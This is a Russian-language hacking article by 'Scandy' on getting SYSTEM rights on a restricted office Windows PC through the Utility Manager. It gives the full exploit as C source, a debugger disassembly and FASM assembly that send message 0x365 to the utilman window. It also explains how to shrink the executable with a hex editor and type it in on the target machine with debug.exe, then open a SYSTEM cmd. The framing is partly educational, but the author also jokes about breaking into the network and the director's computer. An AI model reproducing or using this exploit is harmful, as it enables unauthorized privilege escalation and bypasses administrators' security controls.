Acknowledgement: Спасибо 0x90 за консультации. Ссылки: http://www.wasm.ru/article.php?article=win32appbyhand http://www.security.nnov.ru/files/da-um_ex.c В некоторых офисах параноидальные и не очень квалифицированные сисадмины применяют достаточно экзотический способ защиты. А именно, вырубают дисководы, интернет и USB порты, дают пользователям права Guest или User, пускают их только в локальную сеть с минимальными правами и думают что все в порядке. Цель этой статьи показать этим сисадминам, что еще не все кончено. Что пользователь вполне может написать эксплойт и для начала, получить права администратора. А потом уже по вкусу, можно поломать сетку, забраться в компьютер директора и украсть коды запуска американских ракет )) Кроме указания администраторам на уязвимости, вторая цель статьи – образовательная, что и определяет структуру статьи. В статье обсуждается три в общем-то отдельных вопроса: 1. Эксплуатирование системных прав Utility Manger с целью получения коммандного интерпретатора с системными же правами. 2. Написание исполнимого Win32 файла минимального размера. 3. Ввод бинарного файла с клавиатуры. Именно сочетание всех этих трех премудростей и позволило мне назвать результат «Гранатой для Обезьяны». Начнем с написания минимального размера эксплойта на повышение прав. Возьмем за основу систему повышения прав, основанную на том, что Utility Manger запускается с правами системы. Соответствующий полноценный эксплойт в авторстве 0x90 описан здесь: http://www.security.nnov.ru/files/da-um_ex.c Наша цель состоит в том, чтобы как можно сильнее его сократить. Кстати еще одна причина, почему я выбрал именно этот эксплойт состоит в том, что значительную часть действий здесь можно выполнить с клавиатуры. Общий смысл состоит в том, что путем некоторых манипуляций удается заставить Utilman открыть OpenDialog, который будет обладать системными правами, а затем из этого OpenDialog’а можно уже выполнить cmd.exe, соответственно тоже с правами системы )) Писать код будем сначала на си, потом на ассемблере, а потом вообще в кодах. Конечно хватило бы одного из этих способов, но ужо я вас помучаю. Если три раза повторить - может понятнее будет. Сначала опишем наши действия на русском языке (можно сверяться с кодом 0x90): 1. Запустить Utility Manger 2. Найти хэндлер окна Utility Manger 3. Послать Utility Manger через WINAPI сообщение 0x365 которое приведет к тому, что Utility Manger попытается открыть не существующий hlp файл. Возникнет окошко, которое спросит нас, хотим ли мы открыть этот файл в ручном режиме. 4. Найти хэндлер окна winhelp 5. Нажать Enter 6. В открывшемся OpenDialog поменять фильтр загружаемых файлов, так, чтобы отобразился cmd.exe, например в качестве фильтра поставим cmd.ex? 7. Кликаем правой кнопкой мыши по показанному cmd.exe 8. Выполняем команду «Open» и получаем окно cmd с правами системы. Прелесть этого эксплойта в том, что все кроме пункта 3 можно сделать руками. Ну и еще, чтобы послать Message придется сначала все-таки найти хэндлер. Но уж все остальное только руками. Tip: Прошу обратить внимание. Перед запуском эксплойта и вообще перед опытами, следует запустить utilman и убрать галки, которые заставляют одновременно с запуском utilman запускать еще и некоторые другие сервисы. Запускать ulilman надо нажатием клавиш WinKey+U, потому что если у вас права User или Guest, он не запустится командой utilman /start. После того, как написали программу на русском языке, напишем то же самое на условном (т.е. cи без лишних слов) языке программирования: HANDLE h1=FindWindow(NULL, “Utility Manager”); SendMessage(h1,0x365,0,0x1); Вот и все, дальше можно все руками. Почти все. Почти, потому что, во первых после запуска, программа должна нам дать время запустить Utility Manager, а во-вторых после посылки месседжа, должна ждать, пока мы понажимаем нужные кнопки или вообще выйти. Поэтому дописываем: Sleep(0xA00); HANDLE h1=FindWindow(NULL, “Utility Manager”); SendMessage(h1,0x365,0,0x1); ExitProcess(0x00); Теперь можно написать код на си: Code: #include <windows.h> int main(int argc, char *argv[]) { Sleep(0xA00); HANDLE h1=FindWindow(NULL, “Utility Manager”); SendMessage(h1,0x365,0,0x1); ExitProcess(0x00); } Можно компилировать и запускать. Мда, у меня получилось 50 кб, многовато, если мы хотим вводить это с клавиатуры. Это столько сожрали main на пару с консолью. Если вы умеете компилировать программы в более мелкие файлы – вперед, а мы пойдем другим путем. Загружаем программу под дебаггер (любой, тот который у вас в IDE или внешний, например OllyDbg, без разницы) и находим там наш (вот именно наш, а не дописанный компилером!) исполнимый код. Дебаггер как правило показывает названия вызываемых функций, наш участок кода должен начинаться с вызова функции Sleep из KERNEL32.DLL. В дебаггере из IDE это сделать проще, потому что можно поставить брекпойнт прямо на первый Sleep. Нужный нам код выглядит примерно так: Code: 00401154 /. 68 000A0000 PUSH 0A00 ; /Timeout = 2560. ms 00401159 |. E8 A27C0000 CALL <JMP.&KERNEL32.Sleep> ; \Sleep 0040115E |. 68 4C914000 PUSH expl.0040914C ; /Title = "Utility Manager" 00401163 |. 6A 00 PUSH 0 ; |Class = 0 00401165 |. E8 D87C0000 CALL <JMP.&USER32.FindWindowA> ; \FindWindowA 0040116A |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 0040116D |. 6A 01 PUSH 1 ; /lParam = 1 0040116F |. 6A 00 PUSH 0 ; |wParam = 0 00401171 |. 68 65030000 PUSH 365 ; |Message = MSG(365) 00401176 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hWnd 00401179 |. E8 D07C0000 CALL <JMP.&USER32.SendMessageA> ; \SendMessageA 0040117E |. 6A 00 PUSH 0 ; /ExitCode = 0 00401180 \. E8 C17B0000 CALL <JMP.&KERNEL32.ExitProcess> ; \ExitProcess Я не буду притворяться, что вы все хорошо знаете ассемблер, а тем более что хорошо знаете обозначения применяемые дебаггерами, поэтому поясню. PUSH – означает поместить в стек. Стек это такая фигня (область в памяти) которая применяется для передачи аргументов подпрограммам (функциям) в том случае, если свободных регистров процессора мало. Кстати, если вы хорошо знаете си, то запись __fastcall перед функцией означает, что по возможности, аргументы нужно передавать через регистры а не через стек. CALL – выполнить подпрограмму (функцию) которая находится по определенному адресу. MOV – переписать, скопировать, эквивалент знака «=» в обычном языке программирования. MOV A,B то же самое, что и A=B EBP,EAX – регистры процессора. Это такие очень быстро доступные ячейки памяти, которые находятся в самом процессоре. Их мало. <JMP.&KERNEL32.Sleep> - Вообще говоря, в коде вместо этого на самом деле написано [A2 7C 00 00], но дебаггер понял, что по этому адресу находится запись таблицы импорта, которая указывает на адрес функции Sleep из модуля KERNEL32.DLL. Далее мы еще будем разбираться с таблицей импорта. Здесь скажу, что при запуске нашего экзешника, виндоус по адресу A2 7C 00 00 вписала адрес, по которому у конкретной версии винды находится функция Sleep из KERNEL32.DLL. Значек & у дебаггера и квадратные скобочки у меня означают, что нужно не выполнить функцию по адресу A2 7C 00 00, а нужно выполнить функцию, адрес которой записан по адресу A2 7C 00 00. expl.0040914C – моя программа называется expl, поэтому expl.0040914C означает адрес 0040914C в адресном пространстве expl. По этому адресу находится начало строки «Utility Manager», т.е. это «область данных». Конец строки «Utility Manager» определяется по байт-символу 0x00. [EBP-4] – очевидно, компилятор позаботился, чтобы в регистре EBP на данный момент было такое значение, чтобы по адресу EBP-4 находилась наша переменная, которую мы обозвали h1 в тексте нашей программы на си. Отметим, что после выполнения функции FindWindowA, искомый хэндлер окна будет находится в регистре EAX. Теперь тут я хотел писать описание как ручками (в шестнадцатиричном редакторе) сделать маленький экзешник. Сам я умею, но писать описание замаялся. Половину написал, а потом плюнул. Если откомпилировать в fasm’е то получится 1536 байт. Я могу сделать руками экзешник вдвое меньший. Если народ захочет, я буду дописывать описание процесса и, может быть, когда-нибудь опубликую. На основе кода который нам выдал дебаггер пишем код для фасма: Code: include 'win32ax.inc' .code UMCapt db 'Utility Manager',0 start: push 0xA00 call [Sleep] push UMCapt push 0x00 call [FindWindow] push 0x01 push 0x00 push 0x00000365 push eax call [SendMessage] push 0x00 call [ExitProcess] .end start Соответственно, если у вас пути не прописаны, вам нужно подправить строку include, так чтобы нашло. Кроме того, помните Utility Manager – это заголовок окна утилмана, если у вас не английская винда, нужно написать соответствующее название. Компилируем, получили экзе 1536 байт. Все-таки влезем в него хексэдитором и потрем лишнее, так чтобы начало выглядело так: Code: 00000000 4D 5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ.............. 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ............?... 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Еще там будут явно видны названия секций «.text» и «.idata» их тоже можно потереть нулями. Остальное оставляем как есть. Архивируем экзешник в zip. У меня получилось 371 байт. Осталось его набрать с клавиатуры на целевой машине, распаковать и запустить. Если у вас нет возможности распаковать – наверное лучше всего набирать целый экзешник. Теперь как набирать. Я предлагаю с помощью утилиты debug. Возможно вы предложите другие способы. Коротко про debug. Это такая тулза которая позволяет редактировать содержимое памяти и потом что надо сбросить в файл. Ставится вместе с виндоус. Запускается – командой debug из командной строки. Появляется приглашение – знак минус. Команды которые понадобятся: f 0,200,0 Заполнить с адреса 0 по адрес 200 все байтом 0. a 0 Начать ввод с адреса 0 После этого db 01,F2,43,24,25 ….и т.д. Вводите в память то что вам нужно. Выход из режима ввода – нажать лишний раз Enter. d 0 Распечатать содержимое памяти начиная с адреса 0. При этом распечатается 0x80 байт памяти. Запись в файл. debug не будет писать в файл первые 0x100 байт из того, что ему сказали писать. Поэтому нужно передвинуть наши данные, которые начинаются с адреса 0 на 0x100, это делается так: m 0 xxx 100 где xxx – сколько байт двигать. Запись в файл делается так: n uti.bin где uti.bin – имя файла, который в который делается запись. Потом: r cx xxx w где xxx – сколько байт писать в файл. Усе готово. Теперь нужно разархивировать, запустить, быстренько нажать WinKey+U, а что делать дальше вы должны уже знать, если внимательно читали начало )) ============================================= Автор: Scandy. проект www.wapbbs.com/bbs/